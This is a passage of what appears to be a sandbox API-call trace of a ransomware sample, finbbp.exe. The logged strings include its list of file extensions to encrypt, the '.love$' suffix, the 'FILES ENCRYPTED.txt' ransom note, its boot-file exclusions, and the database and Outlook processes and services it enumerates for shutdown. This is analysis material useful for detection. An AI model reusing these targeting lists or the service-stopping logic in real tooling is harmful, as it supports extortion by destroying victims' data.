Size=0x40) returned 0x4c9fe8 [0089.841] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c9fe8, Size=0x80) returned 0x4f4958 [0089.841] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4958, Size=0x100) returned 0x4f5fd0 [0089.841] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x200) returned 0x4f5fd0 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x400) returned 0x4f5fd0 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x800) returned 0x509728 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x509728, Size=0x1000) returned 0x509728 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3200, Size=0x8) returned 0x4f3270 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3270, Size=0x10) returned 0x51ad98 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ad98, Size=0x20) returned 0x4eed68 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed68, Size=0x40) returned 0x4ca618 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca618, Size=0x80) returned 0x4f41e8 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f41e8, Size=0x100) returned 0x4f5fd0 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x200) returned 0x4f5fd0 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x400) returned 0x4f5fd0 [0089.842] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x800) returned 0x53d398 [0089.843] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0089.843] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x509728 | out: hHeap=0x4b0000) returned 1 [0089.843] lstrlenW (lpString="") returned 0 [0089.843] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53ce80 | out: hHeap=0x4b0000) returned 1 [0089.843] lstrlenW (lpString=".love$") returned 6 [0089.843] lstrlenW (lpString=".love$") returned 6 [0089.843] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cc70 | out: hHeap=0x4b0000) returned 1 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cd78, Size=0x20) returned 0x4eedb8 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eedb8, Size=0x40) returned 0x4ca6a8 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca6a8, Size=0x80) returned 0x4f48d0 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2f0, Size=0x8) returned 0x53d310 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d310, Size=0x10) returned 0x53cd78 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cd78, Size=0x20) returned 0x4eee08 [0089.843] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0089.843] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f48d0 | out: hHeap=0x4b0000) returned 1 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cdc0, Size=0x20) returned 0x4eee58 [0089.843] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee58, Size=0x40) returned 0x4ca390 [0089.843] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0089.843] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0089.843] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca390 | out: hHeap=0x4b0000) returned 1 [0089.844] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cc10, Size=0x20) returned 0x4eee58 [0089.844] lstrlenW (lpString="Info.hta") returned 8 [0089.844] lstrlenW (lpString="Info.hta") returned 8 [0089.844] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee58 | out: hHeap=0x4b0000) returned 1 [0089.844] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53dba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe")) returned 0x22 [0089.844] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53dba0 | out: hHeap=0x4b0000) returned 1 [0089.844] lstrlenW (lpString="finbbp.exe") returned 10 [0089.844] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee08, Size=0x40) returned 0x4ca6f0 [0089.844] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cca0, Size=0x20) returned 0x4eee58 [0089.845] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ceb0, Size=0x20) returned 0x4eee08 [0089.845] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee08, Size=0x40) returned 0x4ca390 [0089.845] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca390, Size=0x80) returned 0x4f4958 [0089.845] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4958, Size=0x100) returned 0x4f5fd0 [0089.845] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0089.845] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0089.845] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x53dba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0089.845] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x54dba8 | out: hHeap=0x4b0000) returned 1 [0089.846] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53dba0 | out: hHeap=0x4b0000) returned 1 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d290, Size=0x8) returned 0x53d360 [0089.847] lstrlenW (lpString="%windir%;") returned 9 [0089.847] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee58 | out: hHeap=0x4b0000) returned 1 [0089.847] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0089.847] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52af78 | out: hHeap=0x4b0000) returned 1 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ce80, Size=0x20) returned 0x4eee08 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee08, Size=0x40) returned 0x4ca4f8 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4f8, Size=0x80) returned 0x4f4050 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4050, Size=0x100) returned 0x4f5fd0 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d310, Size=0x8) returned 0x53d330 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d330, Size=0x10) returned 0x53ccd0 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ccd0, Size=0x20) returned 0x4eee08 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d370, Size=0x8) returned 0x53d1e0 [0089.847] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d250, Size=0x8) returned 0x53d270 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d1c0, Size=0x8) returned 0x53d2a0 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2a0, Size=0x10) returned 0x53ce98 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ce98, Size=0x20) returned 0x4eee58 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d1e0, Size=0x10) returned 0x53ce98 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d270, Size=0x10) returned 0x53ceb0 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d250, Size=0x8) returned 0x53d310 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d270, Size=0x8) returned 0x53d370 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ce98, Size=0x20) returned 0x4eeea8 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53ceb0, Size=0x20) returned 0x4eea70 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2b0, Size=0x8) returned 0x53d270 [0089.848] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0089.848] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0089.848] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53cc58, Size=0x20) returned 0x4ee930 [0089.848] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x52af78, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0089.848] lstrlenW (lpString="C:\\") returned 3 [0089.848] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0089.849] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52af78 | out: hHeap=0x4b0000) returned 1 [0089.849] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d1d0, Size=0x82) returned 0x4f6060 [0089.849] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2f0, Size=0x100) returned 0x4f60f0 [0089.849] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f6060, Size=0x104) returned 0x4f6318 [0089.850] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f60f0, Size=0x200) returned 0x509728 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d1e0 | out: hHeap=0x4b0000) returned 1 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x509728 | out: hHeap=0x4b0000) returned 1 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cec8 | out: hHeap=0x4b0000) returned 1 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f4490 | out: hHeap=0x4b0000) returned 1 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cd00 | out: hHeap=0x4b0000) returned 1 [0091.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f48d0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cf40 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6318 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cf70 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f61f8 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cf28 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6288 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cf58 | out: hHeap=0x4b0000) returned 1 [0091.613] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d1d0 [0091.613] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a9a0 [0091.613] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a9a0, Size=0x20) returned 0x4ee890 [0091.613] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ee890, Size=0x40) returned 0x4ca660 [0091.613] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a958 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d380 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cbf8 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cc10 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f46b0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53ceb0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d2a0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53cc58 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6108 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c55d0 | out: hHeap=0x4b0000) returned 1 [0091.613] lstrlenW (lpString="%systemdrive%") returned 13 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ee930 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f4af0 | out: hHeap=0x4b0000) returned 1 [0091.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d1c0 | out: hHeap=0x4b0000) returned 1 [0091.613] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x2c) returned 0x4cd098 [0091.613] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x2000) returned 0x50ed48 [0091.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x51af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0091.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4cb1e0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x348 Thread: id = 4 os_tid = 0xd04 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab98 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ab98, Size=0x20) returned 0x4ee868 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ee868, Size=0x40) returned 0x4ca390 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca390, Size=0x80) returned 0x4f4050 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4050, Size=0x100) returned 0x4f6060 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a688 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a688, Size=0x20) returned 0x4ee980 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ee980, Size=0x40) returned 0x4ca738 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca738, Size=0x80) returned 0x4f4380 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4380, Size=0x100) returned 0x50b218 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x50a8b0 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x53d2b0 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a880 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2b0, Size=0x8) returned 0x53d250 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c5730 [0091.460] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d250, Size=0x10) returned 0x50aaa8 [0091.460] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c56d0 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4ee840 [0091.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50aaa8, Size=0x20) returned 0x4eec00 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4eea98 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4c5510 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4eeb38 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x50aac0 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x53d2f0 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4ca198 [0091.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2f0, Size=0x8) returned 0x53d2b0 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4ca4f8 [0091.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x53d2b0, Size=0x10) returned 0x50aa18 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c5750 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c5530 [0091.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50aa18, Size=0x20) returned 0x4ee9a8 [0091.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4c61c8 [0091.461] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0091.461] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6060 | out: hHeap=0x4b0000) returned 1 [0091.461] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0091.461] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b218 | out: hHeap=0x4b0000) returned 1 [0091.461] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ee9f8 [0091.462] EnumServicesStatusExW (in: hSCManager=0x4ee9f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0091.463] GetLastError () returned 0xea [0091.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1ce8) returned 0x50b980 [0091.463] EnumServicesStatusExW (in: hSCManager=0x4ee9f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x50b980, cbBufSize=0x1ce8, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x50b980, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0091.465] CloseServiceHandle (hSCObject=0x4ee9f8) returned 1 [0091.465] lstrlenW (lpString="Appinfo") returned 7 [0091.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0091.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0091.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0091.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0091.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0091.466] lstrlenW (lpString="AppXSvc") returned 7 [0091.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0091.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0091.466] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0091.466] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0091.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0091.466] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0091.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.466] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0091.466] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0091.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0091.466] lstrlenW (lpString="Audiosrv") returned 8 [0091.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0091.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0091.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0091.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0091.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0091.466] lstrlenW (lpString="BFE") returned 3 [0091.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0091.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0091.466] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0091.466] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0091.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0091.467] lstrlenW (lpString="BITS") returned 4 [0091.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0091.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0091.467] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0091.467] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0091.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0091.467] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0091.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0091.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0091.467] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0091.467] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0091.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0091.467] lstrlenW (lpString="CDPSvc") returned 6 [0091.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0091.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0091.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0091.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0091.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0091.467] lstrlenW (lpString="ClickToRunSvc") returned 13 [0091.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0091.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0091.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0091.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0091.467] lstrcmpiW 